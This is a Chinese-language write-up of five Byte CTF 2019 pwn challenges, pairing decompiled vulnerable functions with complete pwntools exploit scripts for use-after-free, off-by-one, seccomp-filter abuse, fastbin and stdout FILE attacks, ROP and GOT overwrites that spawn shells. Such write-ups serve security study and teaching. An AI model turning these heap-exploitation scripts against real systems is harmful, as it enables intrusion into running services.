Byte CTF 2019 部分 writeup

TOC

  1. 1. Mulnote
  2. 2. VIP
  3. 3. notefive
  4. 4. mheap
  5. 5. ezarch

源程序下载:byte_ctf_2019.zip

Mulnote

void __fastcall start_routine(void *a1)
{
free(ptr[(_QWORD)a1]);
sleep(10u);
ptr[(_QWORD)a1] = 0LL;
}

简单的UAF漏洞,虽然对程序流进行了混淆,但是并不影响做题。

思路

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mulnote'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.101.96', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Create(size, content):
sh.sendafter('>', 'C\0')
sh.sendlineafter('size>', str(size))
sh.sendafter('note>', content)

def Remove(index):
sh.sendafter('>', 'R\0')
sh.sendlineafter('index>', str(index))

def Edit(index, content):
sh.sendafter('>', 'E\0')
sh.sendlineafter('index>', str(index))
sh.sendafter('new ', content)

def Show():
sh.sendafter('>', 'S\0')

# sh.sendafter('>', 'XxXxBbBb\0')
Create(0x98, '\n')
Create(0x68, '\n')
Create(0x68, '\n')
Remove(0)
Show()
sh.recvuntil('note[0]:\n')
result = sh.recvuntil('\n', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

Remove(2)
Remove(1)
Edit(1, p64(main_arena_addr - 0x33))

Create(0x68, '/bin/sh\0')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
Create(0x68, 'z' * 0x13 + p64(libc_addr + 0x4526a))
sh.sendafter('>', 'C\0')
sh.sendlineafter('size>', str(1))

sh.interactive()
clear()

VIP

void __fastcall edit(unsigned int index)
{
int v1; // [rsp+14h] [rbp-Ch]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( index <= 0xF )
{
if ( ptr[index] )
{
printf("Size: ");
__isoc99_scanf("%u", &v1);
printf("Content: ", &v1);
read_n(ptr[index], v1);
puts("Done!\n");
}
}
}

void __fastcall read_n(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( dword_4040E0 )
{
read(0, a1, a2);
}
else
{
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
read(fd, a1, a2);
}
}

该题难点主要是绕过edit功能。而且在下面的函数中,恰好栈溢出使得我们可以配置沙箱规则。

void __cdecl become_vip()
{
__int16 v0; // [rsp+0h] [rbp-90h]
char *v1; // [rsp+8h] [rbp-88h]
char buf[32]; // [rsp+10h] [rbp-80h]
char v3[88]; // [rsp+30h] [rbp-60h]
unsigned __int64 v4; // [rsp+88h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("OK, but before you become vip, please tell us your name: ");

...

read(0, buf, 80uLL);
printf("Hello, %s\n", buf);
v0 = 11;
v1 = v3;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v0, v3) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v0) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
}

溢出了48个字节,可以配置6条规则,已经足够了。

open函数中会调用sys_openat,我们只要让其返回0,这样就可以直接读取输入流了。沙箱规则如下:

struct sock_filter filter[] = {
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),
BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0),
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
};

由于关闭了sys_openat,而且程序设置了子进程会继承沙箱规则,所以不能正常起shell,但是我们可以进行ROP读取flag。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.14', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x401898
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def alloc(index):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('Index: ', str(index))

def edit(index, size, content):
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)

def delete(index):
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', str(index))

def show(index):
sh.sendlineafter('choice: ', '2')
sh.sendlineafter('Index: ', str(index))

filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)

for i in range(5):
alloc(i)

delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))

delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
stack_addr = u64(result.ljust(8, '\0'))
log.success('stack_addr: ' + hex(stack_addr))

delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret

0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8 + 0x100,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret

0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],

0x00000000004018fb, # : pop rdi ; ret
0x404800,
elf.plt['puts'],

elf.plt['exit'],
]
edit(2, 0x200, flat(layout).ljust(0x100, '\0') + 'flag\0')

sh.sendlineafter('choice: ', '5')


sh.interactive()
clear()

notefive

void __fastcall read_n(char *str, signed int size, char end)
{
char _end; // [rsp+0h] [rbp-20h]
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

_end = end;
v6 = __readfsqword(0x28u);
for ( i = 0; i <= size; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == _end )
break;
str[i] = buf;
}
}

off by one漏洞,难点在于其对于size的限制:

void __cdecl New()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]

printf("idx: ");
index = get_int();
if ( index >= 0 && index <= 4 )
{
printf("size: ");
size = get_int();
if ( size > 0x8F && size <= 0x400 )
{
ptr[index] = malloc(size);
ptr_size[index] = size;
}
else
{
puts("size error");
}
}
else
{
puts("idx error");
}
}

对于我们来说fastbin还是更好用的,所以先用unsorted bin attack修改global_max_fast,使得fastbin可以使用。

New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)

delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)

New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)

然后就是修改stdout结构体,虽然size被限制为size > 0x8F && size <= 0x400,但是原有的fastbin attack依然可以使用,我们可以利用stderr当中的0xffffffffffffffff进行偏移来伪造size。

pwndbg> x/16gx 0x7ffff7dd25c0
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
pwndbg> x/16gx 0x7ffff7dd25c0-1-8
0x7ffff7dd25b7 <_IO_2_1_stderr_+119>: 0xffffffffffffff00 0x00000000000000ff
0x7ffff7dd25c7 <_IO_2_1_stderr_+135>: 0x007ffff7dd377000 0xffffffffffffff00
0x7ffff7dd25d7 <_IO_2_1_stderr_+151>: 0x00000000000000ff 0x007ffff7dd166000
0x7ffff7dd25e7 <_IO_2_1_stderr_+167>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25f7 <_IO_2_1_stderr_+183>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2607 <_IO_2_1_stderr_+199>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2617 <_IO_2_1_stderr_+215>: 0x007ffff7dd06e000 0x000000fbad288700
0x7ffff7dd2627 <_IO_2_1_stdout_+7>: 0x007ffff7dd26a300 0x007ffff7dd26a300

这样我们就有了一个0x00000000000000ff的size。 具体脚本如下:

delete(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

最后就是劫持hook,由于__malloc_hook前面有stdin,其内部恰好也有0xffffffffffffffff,继续进行fastbin attack,但是其不能修改到__malloc_hook,但是我们可以fastbin attack接力,在中途写下一个0xf1的size,然后继续fastbin attack,这样就能修改到__malloc_hook

delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)

edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')

# pause()
New(0, 0xe8)

sh.sendline('cat flag')

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note_five'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.195', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/5gx $rebase(0x202080)
end

b malloc
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def New(index, size):
sh.sendlineafter('>> ', '1')
sh.sendlineafter('idx: ', str(index))
sh.sendlineafter('size: ', str(size))

def edit(index, content):
sh.sendlineafter('>> ', '2')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('content: ', content)

def delete(index):
sh.sendlineafter('>> ', '3')
sh.sendlineafter('idx: ', str(index))

New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)

delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)

New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)
delete(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)

edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')

# pause()
New(0, 0xe8)

sh.sendline('cat flag')

sh.interactive()
clear()

mheap

靶机环境是 glibc-2.27 。

void __fastcall read_n(char *str, signed int length)
{
signed int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v2 = 0;
do
{
if ( v2 >= length )
break;
v3 = read(0, &str[v2], length - v2);
if ( !v3 )
exit(0);
v2 += v3;
}
while ( str[v2 - 1] != 10 );
}

原先从没见过这种类型,原本read_n读取的字节数是锁死的,但是我们可以read到那0x1000内存的边缘,并且让其溢出,由于read使用的是系统调用,所以程序并不会因为错误内存引用而crash,最后read返回标志错误的-1,当返回-1之后,v2就会变小,这样我们就可以向上溢出了。

思路

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct Link{
int size;
struct Link *next;
}Link;
Link no_use;
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mheap'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $l = 0x4040c0
set $f = (Link **)0x4040d0

def fs
set $t = *$f
while $t
p $t
p *$t
set $t=$t->next

end
end

def pr
x/4gx $l
x/4gx (0x4040E0)
end

b *0x4011EA
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def alloc(index, size, content):
sh.sendlineafter(': ', '1')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('size: ', str(size))
sh.sendafter('Content: ', content)

def edit(index, content):
sh.sendlineafter(': ', '4')
sh.sendlineafter('Index: ', str(index))
sh.send(content)

def delete(index):
sh.sendlineafter(': ', '3')
sh.sendlineafter('Index: ', str(index))

def show(index):
sh.sendlineafter(': ', '2')
sh.sendlineafter('Index: ', str(index))

alloc(0, 0xfc0, '\n')
alloc(1, 0x10, '\0' * 0x10)
delete(1)
alloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')
alloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
show(0)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['atoi']
log.success('libc_addr: ' + hex(libc_addr))
edit(0, p64(libc_addr + libc.symbols['system']) + '\n')
sh.sendline('/bin/sh\0')

sh.interactive()
clear()

ezarch

刚开始用heap overlap来做,但是劫持了stdout之后就再也不能free了,原因是glibc-2.27的free会对地址进行对齐检查,所以偏移出来的size没有办法使用了。

看了W&M的博客之后,才发现模拟的虚拟机,其本身对于ebp处理的就有问题。

v2 = a1->memory_size;
if ( v1 >= v2 || (unsigned int)a1->_esp >= a1->field_10 || v2 <= a1->_ebp )

memory_size是用户可控的,栈大小是0x1000,如果设置memory_size大于0x100就可以修改vm的核心配置,比如stack_addr,将其指向修改指向got表,然后直接修改got表。

由于只有第一次memory_size可以自行设置,所以free.got表还没有解析,可以用puts.got来完成偏移计算。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ezarch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xA6F)
b *$rebase(0xFB6)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def set_env(malloc_size, edit_size, content, eip, esp, ebp):
sh.sendafter('>', 'M')
sh.sendlineafter('>', str(malloc_size))
sh.sendlineafter('>', str(edit_size))
sh.sendafter(')\n', content)

sh.sendlineafter('>', str(eip))
sh.sendlineafter('>', str(esp))
sh.sendlineafter('>', str(ebp))

layout = [
'/bin/sh\0',
# set stack_addr point to free.got
p8(3) + p8(0x20) + p32(0) + p32(17), # set r0 = stack_addr
p8(2) + p8(0x10) + p32(0) + p32(0xa8), # set r0 -= 0xa8
p8(3) + p8(0x02) + p32(17) + p32(0), # set stack_addr = r0

# modify free.got to system.got
p8(3) + p8(0x20) + p32(0) + p32(16), # set r0 = stack_addr[esp], esp=12 puts.got+4
p8(3) + p8(0x10) + p32(16) + p32(4), # set esp = 4 free.got+4
p8(3) + p8(0x02) + p32(16) + p32(0), # set stack_addr[esp] = r0, esp=4 free.got+4
p8(3) + p8(0x10) + p32(16) + p32(8), # set esp = 8 puts.got
p8(3) + p8(0x20) + p32(0) + p32(16), # set r0 = stack_addr[esp], esp=8 puts.got
p8(2) + p8(0x10) + p32(0) + p32(libc.symbols['puts'] - libc.symbols['system']), # set r0 -= (libc.symbols['puts'] - libc.symbols['system'])
p8(3) + p8(0x10) + p32(16) + p32(0), # set esp = 0 free.got
p8(3) + p8(0x02) + p32(16) + p32(0), # set stack_addr[esp] = r0, esp=0 free.got
]

payload = flat(layout)
set_env(0x1018, len(payload), payload, 8, 12, 0x1008)
sh.sendafter('>', 'R')

sh.sendafter('>', 'M')
sh.sendlineafter('>', str(1))

sh.interactive()
clear()